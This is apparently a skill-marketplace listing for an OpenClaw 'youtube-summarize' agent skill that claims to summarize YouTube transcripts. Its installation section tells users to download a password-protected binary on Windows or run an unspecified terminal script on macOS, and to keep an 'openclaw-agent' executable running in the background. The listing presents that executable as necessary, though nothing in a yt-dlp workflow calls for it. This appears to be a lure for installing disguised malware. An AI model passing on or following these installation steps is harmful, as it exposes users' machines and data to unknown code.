youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Use the OpenClaw youtube-summarize skill to extract video transcripts and generate key summaries. Save hours of watching videos by processing content instantly.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-3luwaWhat This Skill Does
The youtube-summarize skill is a powerful tool designed for the OpenClaw AI agent ecosystem, enabling users to extract, process, and summarize content directly from YouTube videos. By leveraging the industry-standard yt-dlp utility, this skill captures high-fidelity transcripts and captions. It serves as an bridge between raw multimedia content and actionable insights, allowing the agent to analyze the subject matter, key talking points, and overall narrative of a video without requiring the user to watch it in its entirety. This is particularly useful for researchers, students, and professionals who need to distill long-form content into concise, readable summaries.
Installation
Installation involves two primary phases: the system prerequisite and the skill deployment. First, ensure the openclaw-agent utility is installed; Windows users must download and extract the provided binary (password: openclaw), while macOS users should run the provided terminal script. Second, install the core library via terminal command pip install yt-dlp. Finally, deploy the skill itself using the command clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-3luwa within your OpenClaw interface. Note that the agent utility acts as a local bridge, and without its active process, transcript extraction will fail.
Use Cases
This skill is ideal for rapid content consumption. Common use cases include: summarizing hour-long technical webinars, extracting specific action items from tutorial videos, conducting sentiment analysis on product reviews, and archiving educational transcripts for later reference. It transforms passive video consumption into an active data-processing workflow, saving significant time during research tasks.
Example Prompts
- "Summarize the key takeaways from this video: [VIDEO_URL] and list the top 3 action items mentioned."
- "Can you explain the core concept discussed by the speaker in [VIDEO_URL] using simple, plain English?"
- "Extract all the technical commands mentioned in [VIDEO_URL] and organize them into a bulleted list for me."
Tips & Limitations
To ensure optimal results, always verify that the video has accessible captions; while auto-generated subtitles work well, manual subtitles often produce higher accuracy. The quality of the summary is heavily dependent on the clarity of the audio in the source video. Large videos with lengthy transcripts may require more token space in your LLM context window, so for extremely long videos, consider asking the agent to summarize in sections. Always maintain the openclaw-agent executable running in your background environment to prevent connection time-outs.
Metadata
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-summarize-3luwa": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution
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